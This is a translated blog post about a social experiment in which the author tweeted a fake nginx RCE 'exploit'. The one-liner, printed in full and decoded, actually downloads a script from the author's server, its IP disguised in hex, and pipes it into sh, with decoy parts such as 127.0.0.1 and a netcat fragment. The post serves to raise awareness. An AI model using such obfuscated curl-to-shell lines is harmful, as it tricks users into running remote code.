Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx

Opomba. prevod: Avtor prvotno obvestilo, objavljeno 1. junija, se je odločilo izvesti poskus med tistimi, ki jih zanima informacijska varnost. Da bi to naredil, je pripravil lažno izkoriščanje za nerazkrito ranljivost v spletnem strežniku in ga objavil na svojem Twitterju. Njegove domneve – v hipu jih bodo razkrinkali strokovnjaki, ki bi videli očitno prevaro v kodi – ne samo, da se niso uresničile... Presegle so vsa pričakovanja, in ravno nasprotno: tvit je dobil ogromno podpore številnih ljudi, ki niso preverite njegovo vsebino.

Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx

TL;DR: Pod nobenim pogojem ne uporabljajte cevovoda datotek v sh ali bash. To je odličen način za izgubo nadzora nad računalnikom.

Z vami želim deliti kratko zgodbo o komičnem podvigu PoC, ki je bil ustvarjen 31. maja. Takoj se je pojavil kot odgovor na novice iz Alisa Esage Ševčenko, članica Pobuda Zero Day (ZDI), da bodo informacije o ranljivosti v NGINX, ki vodi do RCE (oddaljeno izvajanje kode), kmalu razkrite. Ker NGINX poganja številna spletna mesta, je bila novica gotovo prava bomba. Toda zaradi zamud v postopku "odgovornega razkritja" podrobnosti o tem, kaj se je zgodilo, niso bile znane - to je standardni postopek ZDI.

Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx
Tweet o razkritju ranljivosti v NGINX

Ko sem končal z delom na novi tehniki zamegljevanja v curl, sem citiral izvirni tvit in "izpustil delujoč PoC", sestavljen iz ene vrstice kode, ki domnevno izkorišča odkrito ranljivost. Seveda je bila to popolna neumnost. Predvideval sem, da bom takoj razkrit in da bom v najboljšem primeru dobil nekaj ponovnih tvitov (no dobro).

Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx
Tweet z lažnim izkoriščanjem

Vendar si nisem mogel predstavljati, kaj se je zgodilo potem. Priljubljenost mojega tvita je skokovito narasla. Presenetljivo je, da je v tem trenutku (15. junija ob 00:1 po moskovskem času) malo ljudi ugotovilo, da je to ponaredek. Mnogi ljudje ga ponovno objavijo, ne da bi ga sploh preverili (kaj šele, da bi občudovali čudovito grafiko ASCII, ki jo prikaže).

Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx
Samo poglejte, kako lepo je!

Čeprav so vse te zanke in barve odlične, je jasno, da so morali ljudje zagnati kodo na svojem računalniku, da so jih videli. Na srečo brskalniki delujejo na enak način in v kombinaciji z dejstvom, da se res nisem želel spraviti v pravne težave, je koda, zakopana na mojem spletnem mestu, le izvajala odmevne klice, ne da bi poskušala namestiti ali izvesti kakršno koli dodatno kodo.

Majhna digresija: netspooky, DNZ, jaz in ostali fantje iz ekipe Thugcrowd Že nekaj časa se igramo z različnimi načini zakrivanja ukazov curl, ker je kul ... in smo geeki. netspooky in dnz sta odkrila več novih metod, ki so se mi zdele izjemno obetavne. Pridružil sem se zabavi in ​​poskusil dodati decimalne pretvorbe IP v vrečo trikov. Izkazalo se je, da je IP mogoče pretvoriti tudi v šestnajstiško obliko. Poleg tega curl in večina drugih orodij NIX z veseljem jedo šestnajstiške IP-je! Torej je bilo le treba ustvariti prepričljivo in varno ukazno vrstico. Na koncu sem se odločil za tole:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Družbeno-elektronski inženiring (SEE) - več kot le lažno predstavljanje

Varnost in domačnost sta bila glavni del tega poskusa. Mislim, da so ti pripeljali do njegovega uspeha. Ukazna vrstica je jasno implicirala varnost s sklicevanjem na "127.0.0.1" (dobro znani lokalni gostitelj). Localhost velja za varnega in podatki na njem nikoli ne zapustijo vašega računalnika.

Poznavanje je bila druga ključna komponenta SEE eksperimenta. Ker so ciljno publiko sestavljali predvsem ljudje, ki so seznanjeni z osnovami računalniške varnosti, je bilo pomembno ustvariti kodo tako, da so se njeni deli zdeli znani in poznani (in torej varni). Izposojanje elementov starih konceptov exploit in njihovo nenavadno kombiniranje se je izkazalo za zelo uspešno.

Spodaj je podrobna analiza enovrstičnice. Vse na tem seznamu nosi kozmetične narave, in za njegovo dejansko delovanje ni potrebno praktično nič.

Katere komponente so res potrebne? to -gsS, -O 0x0238f06a, |sh in sam spletni strežnik. Spletni strežnik ni vseboval nobenih zlonamernih navodil, ampak je preprosto serviral grafiko ASCII z ukazi echo v scenariju, ki ga vsebuje index.html. Ko je uporabnik vnesel vrstico z |sh v sredini, index.html naložen in izveden. Na srečo skrbniki spletnega strežnika niso imeli slabih namenov.

  • ../../../%00 — predstavlja preseganje imenika;
  • ngx_stream_module.so — pot do naključnega modula NGINX;
  • /bin/sh%00<'protocol:TCP' - menda začenjamo /bin/sh na ciljnem računalniku in preusmeri izhod na kanal TCP;
  • -O 0x0238f06a#PLToffset - skrivna sestavina, dopolnjena #PLToffset, videti kot pomnilniški odmik, ki je nekako vsebovan v PLT;
  • |sh; - še en pomemben fragment. Izhod smo morali preusmeriti na sh/bash, da bi lahko izvršili kodo, ki prihaja iz napadalnega spletnega strežnika, ki se nahaja na 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - lutka, na katero se nanaša netcat /dev/tcp/localhosttako da je spet vse videti varno. Pravzaprav ne naredi nič in je vključen v linijo za lepoto.

S tem se zaključi dekodiranje enovrstične skripte in razprava o vidikih "socio-elektronskega inženiringa" (zapleteno lažno predstavljanje).

Konfiguracija spletnega strežnika in protiukrepi

Ker je velika večina mojih naročnikov infosec/hekerjev, sem se odločil, da naredim spletni strežnik nekoliko bolj odporen na izraze "interesa" z njihove strani, samo zato, da bi fantje imeli kaj početi (in bi bilo zabavno nastaviti). Tukaj ne bom našteval vseh pasti, saj poskus še vedno poteka, a tukaj je nekaj stvari, ki jih strežnik počne:

  • Aktivno spremlja poskuse distribucije na določenih družbenih omrežjih in nadomešča različne predogledne sličice, ki uporabnika spodbujajo k kliku na povezavo.
  • Preusmeri Chrome/Mozilla/Safari/itd na promocijski video Thugcrowd namesto prikaza lupinskega skripta.
  • Opazuje OČITNE znake vdora/očitnega vdora in nato začne preusmerjati zahteve na strežnike NSA (ha!).
  • Namesti trojanca in BIOS rootkit na vse računalnike, katerih uporabniki obiščejo gostitelja iz običajnega brskalnika (hecam se!).

Uspeh družbenega eksperimenta z lažnim izkoriščanjem nginx
Majhen del antimerov

V tem primeru je bil moj edini cilj obvladati nekatere funkcije Apache - zlasti kul pravila za preusmerjanje zahtev - in pomislil sem: zakaj pa ne?

Izkoriščanje NGINX (resnično!)

Naročite se na @alisaesage na Twitterju in spremljajte odlično delo ZDI pri odpravljanju zelo resničnih ranljivosti in izkoriščanju priložnosti v NGINX. Njihovo delo me je vedno fasciniralo in hvaležen sem Alice za njeno potrpežljivost z vsemi omembami in obvestili, ki jih je povzročil moj neumni tvit. Na srečo je bil tudi nekaj dobrega: pomagal je ozaveščati o ranljivostih NGINX, pa tudi o težavah, ki jih povzroča zloraba curl.

Vir: www.habr.com

Dodaj komentar